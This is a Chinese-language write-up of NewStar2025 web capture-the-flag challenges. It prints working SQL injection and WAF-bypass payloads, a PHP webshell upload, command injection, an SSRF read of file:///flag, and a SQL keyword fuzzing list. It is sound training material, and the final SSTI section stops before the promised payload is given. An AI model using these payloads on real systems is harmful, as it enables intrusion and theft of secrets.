NewStar2025 Web (正在复刻)

作者:ghsc

前言:小弟因比完賽就一直補課和補作業,補完就期末考,所以要寒假才可以复刻。

Week1

1.multi-headach3

什么叫机器人控制了我的头? 一看就知道是robots.txt

screen-capture.png screen-capture.png

2.strange_login

簡單sql注入:

screen-capture.png screen-capture.png

3.黑客小W的故事(1)

HTTP 协议: 這題最後超難。

第一關:

1
抓包:看見了POST 傳參 {"count":1} , 修改一下 改成{"count":1000} 
screen-capture.png screen-capture.png

第二關: GET ?shipin=mogubaozi POST a=guding , 改DELETE 加上 b = chongzi

screen-capture.png

第三關:

screen-capture.png

User-Agent: CycloneSlash/1.0

screen-capture.png

User-Agent: CycloneSlash/2.0

screen-capture.png

User-Agent: CycloneSlash/2.0 , DashSlash/1.0

screen-capture.png

User-Agent: CycloneSlash/2.0 , DashSlash/5.0

screen-capture.png

4.宇宙的中心是php

screen-capture.png screen-capture.png
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}

POST newstar2025 intval( !=47) 但是( =47)

screen-capture.png

八进制数 057 = 5*8 + 7 = 47

5.我真得控制你了

screen-capture.png

刷新和F12,拼手速

1
document.querySelector('#shieldOverlay').remove();
screen-capture.png screen-capture.png

用BP爆破 :

  • admin
  • 111111
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
轻轻松松绕
真的很轻松

源码
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];

if (is_array($input)) {
die("恭喜掌握新姿势");
}


if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}


if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}

$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}

if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>
screen-capture.png

6.别笑,你也过不了第二关

截图 screen-capture.png

第二關要1000000分???????? , 看看完成第一關會怎樣

抓包沒有發什麼 , 應該是JS code了

screen-capture.png

試一試 score = 1000000 ;

screen-capture.png screen-capture.png

Week2

1.DD加速器

可以用管道符

screen-capture.png screen-capture.png

看看env , 想不到出現了flag

screen-capture.png

flag{c45bacbe-370b-44cf-aeb7-37a3c7f07873}

2.搞点哦润吉吃吃橘

  • 考驗 JavaScript code能力
screen-capture.png screen-capture.png screen-capture.png

F12 在控制台寫腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(function() {
const expressionElement = document.getElementById('expressionText');
const tokenInput = document.getElementById('tokenInput');
const submitButton = document.getElementById('submitBtn');


const expression = expressionElement.textContent;
const regex = /token = \(\d+ \* (\d+)\) \^ (0x[0-9a-fA-F]+|\d+)/;
const match = expression.match(regex);

if (match && match.length === 3) {
const multiplier = BigInt(match[1]); // 直接转换为 BigInt
const xor_value = BigInt(match[2]); // BigInt 支持直接解析十进制或十六进制字符串

const currentTimestamp = BigInt(Math.floor(Date.now() / 1000));

// 计算 token = (当前时间戳 * multiplier) ^ xor_value
const token = (currentTimestamp * multiplier) ^ xor_value;

tokenInput.value = token.toString(); // BigInt 结果转为字符串填入
submitButton.click(); // 模拟点击提交按钮

console.log('自动化流程已执行。计算出的 token:', token.toString());
console.log('请检查结果。');

}
})();
screen-capture.png

3.白帽小K的故事(1)

screen-capture.png screen-capture.png screen-capture.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// TODO:
// 小岸同学到时候记得把这个函数删掉
async function fetchload(file) {
try {
const res = await fetch('/v1/onload', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `file=${encodeURIComponent(file)}`
});
const data = await res.json();
if (data.success) {
console.log('File content:', data.success);
} else {
console.error('Error loading file:', data.error);
}
} catch (e) {
console.error('Request failed', e);
}
}

fetchList();

dirsearch一下 ,

screen-capture.png

應該有一個v1/upload 用post 方法的

Content-Type = application/x-www-form-urlencoded

file = urlencode(easty.php)

screen-capture.png

我剛剛上傳完另外一個文件 , 文件的字被urlencode了, run不了 , 我應該需要改一改一句話木馬

screen-capture.png
1
<?php system("env"); ?>
screen-capture.png

flag{51fe6807-7862-41b3-a4dc-3cd271b02f53}

4.真的是签到诶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);

$cipher = $_POST['cipher'] ?? '';

function atbash($text) {
$result = '';
foreach (str_split($text) as $char) {
if (ctype_alpha($char)) {
$is_upper = ctype_upper($char);
$base = $is_upper ? ord('A') : ord('a');
$offset = ord(strtolower($char)) - ord('a');
$new_char = chr($base + (25 - $offset));
$result .= $new_char;
} else {
$result .= $char;
}
}
return $result;
}

if ($cipher) {
$cipher = base64_decode($cipher);
$encoded = atbash($cipher);
$encoded = str_replace(' ', '', $encoded);
$encoded = str_rot13($encoded);
@eval($encoded);
exit;
}

$question = "真的是签到吗?";
$answer = "真的很签到诶!";

$res = $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;

?> 真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
screen-capture.png

处理流程如下:

  1. 获取 POST 参数 cipher。
  2. 对 $cipher 进行 base64_decode 解码。
  3. 对解码后的字符串进行 atbash 字母替换(Atbash 密码)。
  4. 移除 atbash 结果中的所有空格 (str_replace(‘ ‘, ‘’, …))。
  5. 对移除空格后的字符串进行 str_rot13 字母替换(ROT13 密码)。
  6. 将最终结果字符串通过 @eval() 执行。
screen-capture.png

還是沒反應??

screen-capture.png

有一個exit; 我們要在$encoded後面加一個die;

screen-capture.png screen-capture.png

可以運行了 , 用$IFS 过滤一下

screen-capture.png screen-capture.png

5.小E的管理系统 (复刻)

e8bb870428d9083e8e7cb7f50f1bb5d9.png

id是GET

sqlmap完全沒有用, 看來要手注了 ,???

77479fa65f747a00423e9eafa77caa01.png

url編碼繞過 ,

f1897f60ebf5715c2b0d7e28f2ce827e.png

/**/被ban了

3a53ac7b5466794d95109a0fd6667de7.png
1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
34cb09a8a1cb644de56dae7972bef206.png

列名都被ban了 ((((((

用了出題人的字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
length
Length
+
handler
like
LiKe
select
SeleCT
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SELECT
insert
insERT
INSERT
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length
+
REVERSE
ascii
ASSIC
ASSic
select
database
left
right
union
UNIon
UNION
"
'
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
join
rand()
substr(
substring(
mid(
rand(
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
char(
hex(
ascii(
LIMIT
ORD
ON
extractvalue
order
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`

,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20
%0a

200的有:

1
2
NULL    
TURE

500的有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
1    length    
2 Length
3 +
4 handler
5 like
6 LiKe
7 select
8 SeleCT
9 sleep
10 SLEEp
11 database
12 DATABASe
13 delete
14 having
15 or
16 oR
17 as
18 As
19 -~
20 BENCHMARK
21 limit
22 LimIt
23 left
24 Left
25 select
26 SELECT
27 insert
28 insERT
29 INSERT
30 right
33 INFORMATION
36 !
37 %
38 +
39 xor
40 <>
41 (
42 >
43 <
44 )
45 .
46 ^
48 AND
49 ANd
50 BY
51 By
52 CAST
53 COLUMN
54 COlumn
55 COUNT
56 Count
57 CREATE
58 END
59 case
61 when
65 +
66 REVERSE
67 ascii
68 ASSIC
69 ASSic
71 database
72 left
73 right
74 union
75 UNIon
76 UNION
79 &
80 &&
81 ||
82 oorr
88 anandd
89 GROUP
90 HAVING
91 IF
92 INTO
93 JOIN
94 LEAVE
95 LEFT
96 LEVEL
97 sleep
98 LIKE
99 NAMES
100 NEXT
102 OF
103 ON
104 |
105 infromation_schema
106 user
107 OR
108 ORDER
109 ORD
110 SCHEMA
111 SELECT
112 SET
113 TABLE
114 THEN
115 UNION
116 UPDATE
117 USER
118 USING
119 VALUE
120 VALUES
121 WHEN
122 WHERE
123 ADD
124 AND
125 prepare
126 set
127 update
128 delete
129 drop
130 inset
131 CAST
132 COLUMN
133 CONCAT
134 GROUP_CONCAT
135 group_concat
136 CREATE
137 DATABASE
138 DATABASES
139 alter
140 DELETE
141 DROP
142 floor
143 join
144 rand()
148 rand(
149 information_schema.tables
150 TABLE_SCHEMA
151 %df
152 concat_ws()
153 concat
157 LIMIT
158 ORD
159 ON
160 extractvalue
161 order
162 CAST()
163 by
164 ORDER
165 OUTFILE
166 RENAME
167 REPLACE
168 SCHEMA
169 SELECT
170 SET
171 updatexml
172 SHOW
173 SQL
174 TABLE
175 THEN
177 instr
178 benchmark
179 format
180 bin
181 substring
182 ord
183 UPDATE
184 VALUES
185 VARCHAR
186 VERSION
187 WHEN
188 WHERE
190 `
193 users
194 %0a
195 %0A
196 %0b
197 mid
198 for
199 BEFORE
200 REGEXP
201 RLIKE
202 in
204 SEPARATOR
205 XOR
206 CURSOR
207 FLOOR
208 sys.schema_table_statistics_with_buffer
209 INFILE
210 count
211 %0c
212 from
213 %0d
214 %a0
216 @
217 else

只有200和500有用

使用以下的表構造payload:

1
2
3
4
5
6
1%0AORdeR%0ABy%0A1
1%0AORdeR%0ABy%0A10
1
ORdeR
By
10
5c86363ff2ee4e023fd44027e77e160b.png

可以看見有5列 , 用id=-1%0aORDER%0aBY%0a5 測試了一下是可以的

1
2
3
4
id=-1
ORDER
BY
5
3473398aa359f766e196f8de9b33181c.png

要構造 UNION SELECT 語句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-1
UNION
SELECT
*
from
(SELECT
NULL)a
JOIN
(SELECT
NULL)b
JOIN
(SELECT
NULL)c
JOIN
(SELECT
NULL)d
JOIN
(SELECT
NULL)e

URL編碼一下: -1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master%0aWHERE%0atype%0aLIKE%0a0x7461626c65)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e

試一試:

-1 UNION SELECT * from (SELECT NULL)a

JOIN (SELECT group_concat(name) from sqlite_master)b

JOIN(SELECT NULL)c

JOIN(SELECT NULL)d

JOIN(SETECT NULL)e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-1
UNION
SELECT
*
from
(SELECT
NULL)a
JOIN
(SELECT
group_concat(name)
from
sqlite_master)b
JOIN
(SELECT
NULL)c
JOIN
(SELECT
NULL)d
JOIN
(SELECT
NULL)e

-1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e


“node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence”

要用=和’ 但是都是403 , 用LIKE(???)來取代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-1
UNION
SELECT
*
from
(SELECT
NULL)a
JOIN
(SELECT
group_concat(sql)
from
sqlite_master
WHERE
tbl_name
LIKE
(sys_config))a
JOIN
(SELECT
NULL)b
JOIN
(SELECT
NULL)c
JOIN
(SELECT
NULL)d
JOIN
(SELECT
NULL)e

“database error: Unable to prepare statement: no such column: sys_config”

當你寫 LIKE (sys_config) 且裡面沒有加上單引號時,資料庫的解析器會以為你想做的是:
WHERE tbl_name LIKE 另一個叫做 sys_config 的欄位
但因為當前的查詢環境中根本沒有一個欄位叫做 sys_config,所以資料庫就直接報錯並終止執行。

把sys_config改成Hex sys_config 轉換為 Hex 的結果為:0x7379735f636f6e666967

“database error: Unable to prepare statement: hex literal too big: 0x7379735f636f6e666967”

這個錯誤訊息 hex literal too big: 0x7379735f636f6e666967 是 SQLite 語法解析器特有的限制所導致的

char( 不行被403了

利用 LIKE 的萬用字元(無需指定完整字串)
既然目標是定位到 sys_config 這張表,而我們又無法製造出 “sys_config” 這個字串,最簡單的方法就是不要完整拼出這個單字。

SQLite 的 LIKE 支援 %(代表任意長度字元)與 _(代表單一字元)。如果 WAF 沒有封鎖這兩個符號,且資料庫中沒有其他類似名稱的表,你可以用模糊比對來鎖定它:

語法概念:LIKE(s_s%) 或 LIKE(%config)

沒用

利用 LIMIT 與 OFFSET(完全避開字串比對)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-1
UNION
SELECT
*
from
(SELECT
NULL)a
JOIN
(SELECT
sql
from
sqlite_master
LIMIT
1
OFFSET
0)a
JOIN
(SELECT
NULL)b
JOIN
(SELECT
NULL)c
JOIN
(SELECT
NULL)d
JOIN
(SELECT
NULL)e

“database error: Unable to prepare statement: SELECTs to the left and right of UNION do not have the same number of result columns”

對一對,小一位到d

-1%0D%0AUNION%0D%0ASELECT%0D%0A*%0D%0Afrom%0D%0A(SELECT%0D%0ANULL)a%0D%0AJOIN%0D%0A(SELECT%0D%0Asql%0D%0Afrom%0D%0Asqlite_master%0D%0ALIMIT%0D%0A1%0D%0AOFFSET%0D%0A0)a%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)b%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)c%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)d

“CREATE TABLE node_status (\n node_id INTEGER PRIMARY KEY,\n cpu_usage VARCHAR(10),\n ram_usage VARCHAR(10),\n status VARCHAR(15) CHECK(status IN (‘Online’,’Offline’,’Maintenance’)),\n last_checked DATETIME DEFAULT CURRENT_TIMESTAMP\n)”

改一改offset

-1%0D%0AUNION%0D%0ASELECT%0D%0A*%0D%0Afrom%0D%0A(SELECT%0D%0ANULL)a%0D%0AJOIN%0D%0A(SELECT%0D%0Asql%0D%0Afrom%0D%0Asqlite_master%0D%0ALIMIT%0D%0A1%0D%0AOFFSET%0D%0A1)a%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)b%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)c%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)d

1
2
3
4
5
CREATE TABLE sys_config (
id INTEGER PRIMARY KEY AUTOINCREMENT,
config_key VARCHAR(50) UNIQUE,
config_value TEXT
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-1
UNION
SELECT
*
from
(SELECT
NULL)a
JOIN
(SELECT
config_value
from
sys_config
LIMIT
1
OFFSET
0)a
JOIN
(SELECT
NULL)b
JOIN
(SELECT
NULL)c
JOIN
(SELECT
NULL)d

-1%0D%0AUNION%0D%0ASELECT%0D%0A*%0D%0Afrom%0D%0A(SELECT%0D%0ANULL)a%0D%0AJOIN%0D%0A(SELECT%0D%0Aconfig_value%0D%0Afrom%0D%0Asys_config%0D%0ALIMIT%0D%0A1%0D%0AOFFSET%0D%0A0)a%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)b%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)c%0D%0AJOIN%0D%0A(SELECT%0D%0ANULL)d

{“id”:null,”cpu”:”flag{725c2824-59f5-5491-a17d-836e3f383da9}”,”ram”:null,”status”:null,”lastChecked”:null}

Week3

1.小E的秘密计划

www.zip 為備份文件 , url/ww.zip下載 ,

361fd33e57cceeae07f915f9e74450d6.png

看以看見index.html是https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/

進入public-555edc76-9621-4997-86b9-01483a50293e , 有一個login.php ,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once 'user.php';
$userData = getUserData();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

if ($username === $userData['username'] && $password === $userData['password']) {
header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
exit();
} else {
echo '登录失败,在git里找找吧';
exit();
}
}



用git bash進行控制

git bash

使用git进行版本控制

查看提交历史:

git log –oneline

cedc26f5a288a6a307272f8d41f67e79.png

$ git diff –name-status 1389b47 5f8ecc0
A tips.txt


$ git checkout 353b98f7c2fe77a5a426bf73576f5113820c4669

1
2
3
4
5
6
7
8
9
10
11
12
Note: switching to '353b98f7c2fe77a5a426bf73576f5113820c4669'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false
HEAD is now at 353b98f 测试,这个branch会删

$ git diff 1389b4798a8013a1c90fb2d867243d0da18c5175…353b98f7c2fe77a5a426bf73576f5113820c4669 –name-status

1
A user.php

$ cat user.php

e225b0ab18591072357866366f4cfc31.png

$ git switch master


換回master mode


$ cat index.html


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Project X - 登录系统</title>
<link rel="stylesheet" href="../css/style.css">
</head>
<body>
<div class="floating-shapes">
<div class="floating-shape shape-circle" style="top: 15%; left: 10%;"></div>
<div class="floating-shape shape-ring" style="top: 40%; left: 85%;"></div>
<div class="floating-shape shape-polygon" style="top: 70%; left: 20%;"></div>
</div>


<div class="login-container">
<div class="login-box">
<div class="login-logo">
<h1>PROJECT X</h1>
<p>系统访问认证</p>
<p>tips: 默认密码使用uuid4生成,不可能被爆破</p>
</div>

<form id="login-form">
<div class="input-group">
<label for="username">用户ID</label>
<input type="text" id="username" placeholder="输入您的用户ID">
</div>

<div class="input-group">
<label for="password">密码</label>
<input type="password" id="password" placeholder="输入您的密码">
</div>
<div class="login-actions">
<a href="/" class="btn">返回首页</a>
<button type="button" class="btn btn-primary" id="login-btn">验证登录</button>
</div>

<div class="login-footer">
<p>版本 5.1.4</p>
</div>
</form>
</div>
</div>
<script>
document.getElementById('login-btn').addEventListener('click', function() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;

fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`
})
.then(response => {
if (response.redirected) {
window.location.href = response.url;
} else {
return response.text();
}
})
.then(text => {
if (text) {
alert(text);
}
})
.catch(error => console.error('Error:', error));
});
</script>
</body>
</html>



用POST 方法 :


$ curl -k -X POST “https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/public-555edc76-9621-4997-86b9-01483a50293e/login.php
-d “username=admin”
-d “password=f75cc3eb-21e0-4713-9c30-998a8edb13de”


1
2
{"success":true,"message":"\u767b\u5f55\u6210\u529f\uff01\u6b63\u5728\u8df3\u8f6
c...","redirectUrl":"/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/"}

{“success”:true,”message”:”登录成功!正在跳转…”,”redirectUrl”:”/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/“}


因為是Mac寫的, 所以下載.DS_Store文件


https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store


2b3abbe0-a5fb-4d11-908b-6bb31f49d3e5.png

$ python3 ds_store_exp.pyhttps://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store


1
2
[200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
[200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514


$ BASE_URL=”https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50
FILENAME=”ffffllllaaaagggg114514”


1
2
3
4
5
echo "--- Retrieving the Flag ---"
curl -k "$BASE_URL/$BASEURL/BASE_URL/
BASEU​RL/FILENAME"
--- Retrieving the Flag ---
flag{2ba897a9-1533-432c-9d66-970200498634}

2.mygo!!!

看看html


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>MyGo</title>
<style>
:root{
--gap: 18px;
--btn-width: 220px;
--btn-padding: 12px 18px;
--btn-radius: 10px;
}
*{box-sizing:border-box}
html,body{height:100%;margin:0}
body{
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial;
min-height:100vh;
background-image: url('mygo.jpg');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
display:flex;
align-items:center;
justify-content:center;
}
.layout{width:100%;max-width:1100px;padding:40px;display:flex;justify-content:space-between;align-items:center;}
.col{display:flex;flex-direction:column;gap:var(--gap);align-items:flex-start;width:calc(var(--btn-width) + 10px);}
.col.right{align-items:flex-end}
.ghost-btn{
width:var(--btn-width);
padding:var(--btn-padding);
border-radius:var(--btn-radius);
background:transparent;
color:#007BFF; /* 蓝色文字 */
border:2px solid rgba(0,0,0,0.08);
font-size:16px;
font-weight:600;
text-align:center;
cursor:pointer;
transition:transform .16s ease, box-shadow .16s ease, background-color .16s ease;
}
.ghost-btn:hover{
transform:translateY(-4px);
box-shadow:0 8px 20px rgba(0,0,0,0.08);
background-color: rgba(255,255,255,0.02);
}
@media (max-width:720px){
.layout{flex-direction:column;gap:24px;padding:22px}
.col{width:100%;align-items:center}
.col.right{align-items:center}
.ghost-btn{width:100%;max-width:420px}
}
audio{display:block;margin-top:20px;width:100%;}
</style>
</head>
<body>
<main class="layout">
<section class="col left">
<button class="ghost-btn" data-url="http://localhost/chunriying.mp3">春日影</button>
<button class="ghost-btn" data-url="http://localhost/mixingjiao.mp3">迷星叫</button>
</section>
<section class="col right">
<button class="ghost-btn" data-url="http://localhost/shichaoban.mp3">诗超绊</button>
<button class="ghost-btn" data-url="http://localhost/???">flag</button>
</section>
</main>

<!-- 隐藏播放器,点击按钮时赋值 -->
<audio id="player" controls autoplay></audio>

<script>
const player = document.getElementById('player');
document.querySelectorAll('.ghost-btn').forEach(btn => {
btn.addEventListener('click', () => {
const url = btn.getAttribute('data-url');
// 通过 PHP 代理播放
player.src = `index.php?proxy=${encodeURIComponent(url)}`;
player.play();
});
});
</script>
</body>
</html>


可以看見它不是直接播放 URL,而是将 URL 作为参数传递给 index.php (player.src = \index.php?proxy=${encodeURIComponent(url)};),这暗示着音频流是通过服务器端的 PHP 脚本进行代理传输的。


用BP抓一下包:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /index.php?proxy=http%3A%2F%2Flocalhost%2F%3F%3F%3F HTTP/2
Host: eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80
Sec-Ch-Ua-Platform: "Windows"
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: /
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: audio
Referer: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/
Range: bytes=0-
Priority: i

的確是proxy


dirsearch一下


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|. _ _ _ _ _ | v0.4.3
(||| ) (/(|| (| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292

Target: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/

[09:18:06] Scanning:
[09:19:05] 403 - 38B - /flag.php
[09:19:10] 200 - 3KB - /index.php
[09:19:10] 200 - 3KB - /index.php/login/
[09:19:34] 403 - 312B - /server-status
[09:19:34] 403 - 312B - /server-status/

Task Completed

有一個flag.php


eef6283bbaa5b1bf05dbb642589d50c3.png

本地人 ,


http://localhost/flag.php?soyorin=file:///flag


5e80bf943bdc6fb11ea69ad802928d44.png

3.who’ssti (复刻)

本题考查了选手对于 SSTI 最基础的构造方法。

f70180daf33ef03b41124124f70ccc9d.png choice

dedent

fmean

get_close_matches

load

這一題要用ssti來調用函數 , 把以下函數全部都調用完就可以拿到flag ,

有原文件 , 不用判斷了 , 是flask
21d10f05f3a23f666963a2b6e8790170.png

Jinja2

{{func()}}來調用: 先試一試 {{choice()}} 看來{{func()}}失敗了

但是它說已经调用了 1 个函数:load

5.2分析:

這份原始碼其實是標準 Flask/Jinja2 的 render_template_string(template) 裸渲染,沒有 sandbox、也沒有把 choice/dedent/… 這些函數放進 context(internal_web.py 只有直接 render 你送進去的字串)。

另外外層 app.py 只是把你表單的 name 轉發到內部 5001 的 template 參數去渲染。

所以你打:

`{{ choice() }}`

會失敗很正常。模板裡根本沒有叫 choice 的變數/函數。

直接給你一條 payload:用 Jinja2 SSTI 先拿到 import,再把 5 個函數都「真的呼叫到」

